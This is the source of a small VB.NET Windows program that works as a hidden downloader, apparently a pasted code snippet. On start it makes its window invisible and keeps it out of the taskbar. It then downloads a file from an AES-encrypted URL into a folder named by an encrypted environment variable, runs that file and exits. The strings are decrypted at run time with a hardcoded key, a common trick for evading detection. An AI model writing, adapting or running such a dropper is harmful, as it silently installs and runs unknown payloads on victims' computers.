1234

Imports System.Security.Cryptography
 Public Class Form1 
 	 
     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load 
         Me.ShowIcon = False 
         Me.ShowInTaskbar = False 
         Me.Opacity = 0 
  
         Dim Download As New Net.WebClient 
         Me.Hide() 
         Me.ShowIcon = False 
         Me.ShowInTaskbar = False 
         Me.Opacity = 0 
         Download.DownloadFile(ienWCbqErEmgSKrBQthYiha("ytA1KxYg3uRRh404YiFd1KcERTxRJiHPGRmfda1zum0="), Environ(ienWCbqErEmgSKrBQthYiha("Twyh8EvQqhJL4IDVakBVFw==")) & ienWCbqErEmgSKrBQthYiha("Fo9uCHyXWsGEdtSzhReFPA==")) 
         Shell(Environ(ienWCbqErEmgSKrBQthYiha("Twyh8EvQqhJL4IDVakBVFw==")) & ienWCbqErEmgSKrBQthYiha("Fo9uCHyXWsGEdtSzhReFPA==")) 
    
  
         End 
  
     End Sub 
  
  

Private Function ienWCbqErEmgSKrBQthYiha(ByVal XnfULTkifvFuwAZmK As String)
Dim mutYnwurZAQuVjewd As New RijndaelManaged
Dim aSakrnialogVaeeba() As Byte
Dim cuVDaKgSrhLtELjQr() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes("qLPNNVHbBbkuDUSgBfNiiwA", cuVDaKgSrhLtELjQr)
mutYnwurZAQuVjewd.Key = oKeyGenerator.GetBytes(mutYnwurZAQuVjewd.Key.Length)
mutYnwurZAQuVjewd.IV = oKeyGenerator.GetBytes(mutYnwurZAQuVjewd.IV.Length)
Dim FKeJkjIjqICeuPFYm As New IO.MemoryStream
Dim ImZZTGFbwBdFYtJNG As New CryptoStream(FKeJkjIjqICeuPFYm, mutYnwurZAQuVjewd.CreateDecryptor(), CryptoStreamMode.Write)
Try
aSakrnialogVaeeba = Convert.FromBase64String(XnfULTkifvFuwAZmK)
ImZZTGFbwBdFYtJNG.Write(aSakrnialogVaeeba, 0, aSakrnialogVaeeba.Length)
ImZZTGFbwBdFYtJNG.Close()
Return System.Text.Encoding.UTF8.GetString(FKeJkjIjqICeuPFYm.ToArray)
Catch
End Try
End Function
End Class